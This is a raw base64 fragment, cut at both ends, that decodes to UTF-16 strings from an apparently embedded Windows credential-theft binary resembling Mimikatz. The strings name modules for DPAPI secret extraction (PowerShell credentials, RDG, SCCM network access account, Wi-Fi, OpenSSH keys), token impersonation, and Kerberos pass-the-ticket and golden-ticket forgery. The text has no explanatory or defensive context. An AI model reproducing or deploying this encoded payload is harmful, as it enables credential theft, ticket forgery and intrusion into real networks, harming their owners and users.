AcwBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMATwBGAFQAVwBBAFIARQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUwBPAEYAVABXAEEAUgBFAAAAAABTAGEAZgBlAG4AZQB0AFwAUwBhAGYAZQBOAGUAdABLAFMAUABcAFMAbABvAHQAcwAAAAAACgAgACAAIABbACUAcwBdACAAAAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBhAGYAZQBuAGUAdABfAGsAcwBwAF8AcgBlAGcAaQBzAHQAcgB5AHAAYQByAHMAZQByACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAGEAZgBlAG4AZQB0AF8AawBzAHAAXwByAGUAZwBpAHMAdAByAHkAcABhAHIAcwBlAHIAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkASQBuAGYAbwBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACQBTAGwAbwB0ACAAcABhAHMAcwB3AG8AcgBkADoAIAAlAC4AKgBTAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAYQBmAGUAbgBlAHQAXwBrAHMAcABfAHIAZQBnAGkAcwB0AHIAeQBfAHUAcwBlAHIAXwBwAGEAcgBzAGUAcgAgADsAIABJAG4AYwBvAG0AcABhAHQAaQBiAGwAZQAgAFIARQBHACAAdAB5AHAAZQA6ACAAJQB1AAoAAAAAAC8ALwBPAGIAagBzAC8ATwBiAGoAAAAAAAAAAABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABTAEMAcgBlAGQAZQBuAHQAaQBhAGwAAABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAA7ACAAWABNAEwAIABkAG8AZQBzAG4AJwB0ACAAcwBlAGUAbQAgAHQAbwAgAGIAZQAgAGEAIABQAFMAQwByAGUAZABlAG4AdABpAGEAbAAvAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnAAoAAAAvAC8ATwBiAGoAcwAvAFMAUwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAA7ACAAWABNAEwAIABkAG8AZQBzAG4AJwB0ACAAcwBlAGUAbQAgAHQAbwAgAGIAZQAgAGEAIABTAGUAYwB1AHIAZQBTAHQAcgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAA7ACAATQBpAHMAcwBpAG4AZwAgAC8AaQBuADoAYwByAGUAZABlAG4AdABpAGEAbABzAC4AeABtAGwACgAAAAAAVABOAAAAAABUAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAG8AdwBlAHIAcwBoAGUAbABsAF8AYwBoAGUAYwBrAF8AYQBnAGEAaQBuAHMAdABfAG8AbgBlAF8AdAB5AHAAZQAgADsAIABOAG8AIAB0AHkAcABlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcABvAHcAZQByAHMAaABlAGwAbABfAGMAaABlAGMAawBfAGEAZwBhAGkAbgBzAHQAXwBvAG4AZQBfAHQAeQBwAGUAIAA7ACAATgBvACAAVABOAAoAAABTAFMAAAAAAD4APgAgAGMAbABlAGEAcgB0AGUAeAB0ADoAIAAlAC4AKgBzAAoAAAAlAHMACgAAAFAAcgBvAHAAcwAAAE4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAG8AdwBlAHIAcwBoAGUAbABsAF8AYwByAGUAZABlAG4AdABpAGEAbAAgADsAIABOAG8AIABOAEEATQBFAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAbwB3AGUAcgBzAGgAZQBsAGwAXwBjAHIAZQBkAGUAbgB0AGkAYQBsACAAOwAgAE4AbwB0ACAARQBMAEUATQBFAE4AVAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAG8AdwBlAHIAcwBoAGUAbABsAF8AYwByAGUAZABlAG4AdABpAGEAbAAgADsAIABOAG8AIABQAHIAbwBwAHMACgAAAAAALwAvAFIARABDAE0AYQBuAC8AZgBpAGwAZQAAADwAUgBPAE8AVAA+AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHIAZABnACAAOwAgAE0AaQBzAHMAaQBuAGcAIAAvAGkAbgA6AGYAaQBsAGUAbgBhAG0AZQAuAHIAZABnAAoAAAAAAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwBQAHIAbwBmAGkAbABlAHMAAABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAUAByAG8AZgBpAGwAZQAAAAAAZwByAG8AdQBwAAAAcAByAG8AcABlAHIAdABpAGUAcwAAAAAAbgBhAG0AZQAAAAAAJQAqAHMAPAAlAHMAPgAKAAAAAAAlACoAcwB8ACAAJQBzAAoAAAAAAGwAbwBnAG8AbgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHAAcgBvAGYAaQBsAGUATgBhAG0AZQAAACUAKgBzAHwAIABwAHIAbwBmAGkAbABlADoAIAAlAHMACgAAAHUAcwBlAHIATgBhAG0AZQAAAAAAPABOAFUATABMAD4AAAAAACUAKgBzACoAIAAlAHMAIABcACAAJQBzACAAOgAgACUAcwAKAAAAAAAAAAAAJQAqAHMAPgA+ACAAYwBsAGUAYQByAHQAZQB4AHQAIABwAGEAcwBzAHcAbwByAGQAOgAgACUALgAqAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcgBkAGcAXwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA7ACAATQBhAHkAYgBlACAAYwBlAHIAdABpAGYAaQBjAGEAdABlACAAZQBuAGMAcgB5AHAAdABpAG8AbgAgACgAdABvAGQAbwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwByAGQAZwBfAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgADsAIABzAHoARABhAHQAYQA6ACAAJQB1AAoAAAAAAAAAAAByAG8AbwB0AFwAYwBjAG0AXABQAG8AbABpAGMAeQBcAE0AYQBjAGgAaQBuAGUAXABSAGUAcQB1AGUAcwB0AGUAZABDAG8AbgBmAGkAZwAAAFMARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABDAEMATQBfAE4AZQB0AHcAbwByAGsAQQBjAGMAZQBzAHMAQQBjAGMAbwB1AG4AdAAAAAAAVwBRAEwAAABQAG8AbABpAGMAeQBJAEQAAAAAAFAAbwBsAGkAYwB5AEkARAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAABQAG8AbABpAGMAeQBWAGUAcgBzAGkAbwBuAAAAUABvAGwAaQBjAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlAHMACgAAAFAAbwBsAGkAYwB5AFMAbwB1AHIAYwBlAAAAAABQAG8AbABpAGMAeQBTAG8AdQByAGMAZQAgACAAOgAgACUAcwAKAAAATABhAHMAdABVAHAAZABhAHQAZQBUAGkAbQBlAAAAAABMAGEAcwB0AFUAcABkAGEAdABlAFQAaQBtAGUAOgAgAAAAAABOAGUAdAB3AG8AcgBrAEEAYwBjAGUAcwBzAFUAcwBlAHIAbgBhAG0AZQAAAEQAUABBAFAASQAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAABDAGwAZQBhAHIAIABVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABJAFcAYgBlAG0AQwBsAGEAcwBzAE8AYgBqAGUAYwB0AF8ARwBlAHQAKABOAGUAdAB3AG8AcgBrAEEAYwBjAGUAcwBzAFUAcwBlAHIAbgBhAG0AZQApADoAIAAwAHgAJQAwADgAeAAKAAAATgBlAHQAdwBvAHIAawBBAGMAYwBlAHMAcwBQAGEAcwBzAHcAbwByAGQAAABEAFAAQQBQAEkAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAAQwBsAGUAYQByACAAUABhAHMAcwB3AG8AcgBkADoAIAAlAC4AKgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAYwBjAG0AXwBuAGUAdAB3AG8AcgBrAGEAYwBjAGUAcwBzAGEAYwBjAG8AdQBuAHQAIAA7ACAASQBXAGIAZQBtAEMAbABhAHMAcwBPAGIAagBlAGMAdABfAEcAZQB0ACgATgBlAHQAdwBvAHIAawBBAGMAYwBlAHMAcwBQAGEAcwBzAHcAbwByAGQAKQA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABuAG8AIAByAGUAdAB1AHIAbgA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABJAEUAbgB1AG0AVwBiAGUAbQBDAGwAYQBzAHMATwBiAGoAZQBjAHQAXwBOAGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABJAFcAYgBlAG0AUwBlAHIAdgBpAGMAZQBzAF8ARQB4AGUAYwBRAHUAZQByAHkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAYwBjAG0AXwBuAGUAdAB3AG8AcgBrAGEAYwBjAGUAcwBzAGEAYwBjAG8AdQBuAHQAIAA7ACAAQwBvAFMAZQB0AFAAcgBvAHgAeQBCAGwAYQBuAGsAZQB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABJAFcAYgBlAG0ATABvAGMAYQB0AG8AcgBfAEMAbwBuAG4AZQBjAHQAUwBlAHIAdgBlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAG4AZQB0AHcAbwByAGsAYQBjAGMAZQBzAHMAYQBjAGMAbwB1AG4AdAAgADsAIABDAG8AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAPABQAG8AbABpAGMAeQBTAGUAYwByAGUAdAAgAFYAZQByAHMAaQBvAG4APQAiADEAIgA+ADwAIQBbAEMARABBAFQAQQBbAAAAXQBdAD4APAAvAFAAbwBsAGkAYwB5AFMAZQBjAHIAZQB0AD4AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBjAGMAbQBfAFgATQBMAF8ARABhAHQAYQBfAHQAbwBfAGIAaQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZgBpAG4AZAAgAGUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAGMAYwBtAF8AWABNAEwAXwBEAGEAdABhAF8AdABvAF8AYgBpAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAAYgBlAGcAaQBuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAF8AQwBsAGEAcwBzAGUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAHMAaAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAABTAG8AZgB0AHcAYQByAGUAXABPAHAAZQBuAFMAUwBIAFwAQQBnAGUAbgB0AFwASwBlAHkAcwAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAACAAKgAgAFQAcgB5AGkAbgBnACAAdABvACAAZwBlAHQAIABhAG4AIABpAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAdABvAGsAZQBuACAAZgBvAHIAIAAlAHMAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAHMAaABfAGsAZQB5AHMANAB1AHMAZQByACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAVABvAGsAZQBuAHMAVQBuAGkAcQB1AGUALwBrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFQAbwBrAGUAbgBzAFUAbgBpAHEAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBrAGUAeQBzADQAdQBzAGUAcgAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AawBlAHkAcwA0AHUAcwBlAHIAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBrAGUAeQBzADQAdQBzAGUAcgAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBJAG4AZgBvAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGMAbwBtAG0AZQBuAHQAAAAgACAAIAAgACAAYwBvAG0AbQBlAG4AdAA6ACAAJQAuACoAUwAKAAAAdAB5AHAAZQAAAAAAIAAgACAAIAAgAHQAeQBwAGUAIAAgACAAOgAgACUAdQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABLAGUAeQAgADsAIABJAG4AYwBvAG0AcABhAHQAaQBiAGwAZQAgAFIARQBHACAAdAB5AHAAZQA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABLAGUAeQAgADsAIABOAG8AdAAgAGEAIABSAFMAQQAgAGsAZQB5ACEACgAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAUgBTAEEARgBVAEwATABQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAFJTQSBQUklWQVRFIEtFWQAlAFMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABSAFMAQQBmAHIAbwBtAFIAQQBXACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBFAG4AYwBvAGQAZQBCADYANABfAGgAZQBhAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABSAFMAQQBmAHIAbwBtAFIAQQBXACAAOwAgAEIAQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABSAFMAQQBmAHIAbwBtAFIAQQBXACAAOwAgAEIAQwByAHkAcAB0AEUAeABwAG8AcgB0AEsAZQB5ACgAaQBuAGkAdAApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABSAFMAQQBmAHIAbwBtAFIAQQBXACAAOwAgAEIAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AFAAYQBpAHIAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AZwBlAHQAUgBTAEEAZgByAG8AbQBSAEEAVwAgADsAIABOAG8AIABDAE4ARwAgAHcAaABlAG4AIABkAGUAYQBsAGkAbgBnACAAdwBpAHQAaAAgAE8AcABlAG4AUwBTAEgAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAAxADAAPwAKAAAAAABQAHIAbwBmAGkAbABlACAAJwAlAHMAJwAKAAoAAAAAAFMAUwBJAEQAAAAAACAAKgAgAFMAUwBJAEQAIAAAAAAAbgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAAABoAGUAeAAAAGgAZQB4ACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAPwAKAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AAAAAACAAKgAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA6ACAAJQBzAAoAAAAAAGUAbgBjAHIAeQBwAHQAaQBvAG4AAAAAACAAKgAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIAAgACAAIAA6ACAAJQBzAAoAAAAAAGsAZQB5AE0AYQB0AGUAcgBpAGEAbAAAACAAKgAgAEsAZQB5ACAATQBhAHQAZQByAGkAYQBsACAAIAA6ACAAAABXAEUAUAAAACgAaABlAHgAKQAgAAAAAAAlAC4AKgBTAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAASQBuAHAAdQB0ACAAVwBsAGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAATgBhAG0AZQAAAAAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAAAAAACAAKgAgAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnACAAIAAgACAAOgAgACUAcwAKAAAAAABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAAAAAAIAAqACAAUwB1AGIAcwBjAHIAaQBiAGUAcgBJAEQAIAAgADoAIAAAACUALgAqAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAASQBuAHAAdQB0ACAAVwB3AGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAS2VyYmVyb3MAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAKABzACkAAAAAAGEAcwBrAAAAQQBzAGsAIABvAHIAIABnAGUAdAAgAFQARwBTACAAdABpAGMAawBlAHQAcwAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHAAdQByAGcAZQAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABjAGwAaQBzAHQAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAASwBlAHIAYgBlAHIAbwBzACAAcABhAGMAawBhAGcAZQAgAG0AbwBkAHUAbABlAAAAKgAgAEQAaQByAGUAYwB0AG8AcgB5ADoAIAAnACUAcwAnAAoAAAAAACoALgBrAGkAcgBiAGkAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQB